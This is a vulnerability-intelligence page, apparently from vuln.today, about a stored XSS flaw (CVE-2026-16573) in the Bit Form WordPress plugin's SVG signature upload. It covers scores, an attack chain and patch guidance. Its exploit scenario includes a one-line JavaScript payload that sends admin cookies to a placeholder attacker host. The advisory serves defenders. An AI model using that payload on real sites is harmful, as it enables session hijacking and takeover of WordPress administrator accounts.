What is the CVSS score of CVE-2026-16573?

CVE-2026-16573 has a CVSS 3.1 base score of 7.5 (High). CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.2%.

Which versions of Bit Form are affected by CVE-2026-16573?

The Bit Form WordPress plugin (versions prior to 3.2.0) is vulnerable to stored cross-site scripting attacks enabling unauthorized administrative access on affected WordPress sites.. A patch is available.

Is there a public PoC exploit available for CVE-2026-16573?

Yes, a public proof-of-concept exploit is available for CVE-2026-16573. Prioritise patching immediately. EPSS: 0.2%.

How to fix or mitigate CVE-2026-16573?

Within 24 hours: Update the Bit Form WordPress plugin to version 3.2.0 or later across all WordPress installations. Within 7 days: Verify all instances have completed the update, review form submission logs for suspicious SVG uploads created prior to patching, and inspect WordPress user activity for unauthorized administrative sessions. Within 30 days: Conduct a security audit of form submissions processed during the vulnerability window to confirm no persistent malicious data remains in stored submissions.

Bit Form CVE-2026-16573

EUVD-2026-53101 HIGH

Cross-site Scripting (XSS) (CWE-79)

2026-08-05 WPScan

GHSA-5prm-g28p-frm9

WordPress XSS Bit Form

7.5

CVSS 3.1 · Vendor: WPScan

Severity by source

Vendor (WPScan) PRIMARY

7.5 HIGH

AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

vuln.today AI

8.0 HIGH

Scope changed to C as XSS executes in victim's browser context; A:N because XSS causes no direct availability impact.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

4.0 AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (WPScan).

CVSS VectorVendor: WPScan

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

High

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Analysis Generated

Aug 05, 2026 - 15:27 vuln.today

Patch available

Aug 05, 2026 - 07:01 EUVD

CVE Published

Aug 05, 2026 - 06:00 cve.org

UNKNOWN (no severity yet)

CVE Published

Aug 05, 2026 - 06:00 cve.org

HIGH 7.5

DescriptionCVE.org

The Bit Form WordPress plugin before 3.2.0 does not sanitize an uploaded signature image before storing it, allowing unauthenticated attackers to upload a crafted SVG file containing JavaScript that executes when the file is viewed, leading to Stored Cross-Site Scripting.

AnalysisAI

Stored Cross-Site Scripting in the Bit Form WordPress plugin before 3.2.0 enables unauthenticated attackers to upload crafted SVG files containing embedded JavaScript as signature images, which execute in a victim's browser upon viewing the submission. Any authenticated user - most critically a WordPress administrator - who reviews form submissions containing the malicious SVG is at risk of session hijacking or unauthorized administrative action. …

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon

Identify public Bit Form with signature field

Delivery

Craft SVG with embedded JavaScript payload

Exploit

Submit form unauthenticated with malicious SVG

Install

SVG stored without sanitization

Admin views form submission

Execute

Payload executes in admin browser context

Impact

Session or credentials compromised

Recon

Identify public Bit Form with signature field

Delivery

Craft SVG with embedded JavaScript payload

Exploit

Submit form unauthenticated with malicious SVG

Install

SVG stored without sanitization

Admin views form submission

Execute

Payload executes in admin browser context

Impact

Session or credentials compromised

Vulnerability AssessmentAI

Exploitation	Exploitation requires the Bit Form plugin (version < 3.2.0) to be installed and active, with at least one published form that includes a signature image upload field accessible to unauthenticated visitors - this is a non-default form configuration that must be deliberately enabled by the site operator. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	The supplied CVSS 3.1 vector (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H) scores 7.5 and contains some metrics worth scrutiny. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An unauthenticated attacker identifies a WordPress site running Bit Form before 3.2.0 with a public form that includes a signature field, then submits the form with a crafted SVG file embedding a JavaScript payload (e.g., `document.location='https://attacker.tld/?c='+document.cookie`) as the signature image. When a WordPress administrator opens the submission review panel and the SVG is rendered by their browser, the script executes in the admin's session context, exfiltrating authentication cookies or silently performing privileged actions. …
Remediation	Update the Bit Form plugin to version 3.2.0 or later - the vendor-released patch is available through the WordPress plugin repository and resolves the SVG sanitization gap. … Detailed patch versions, workarounds, and compensating controls in full report.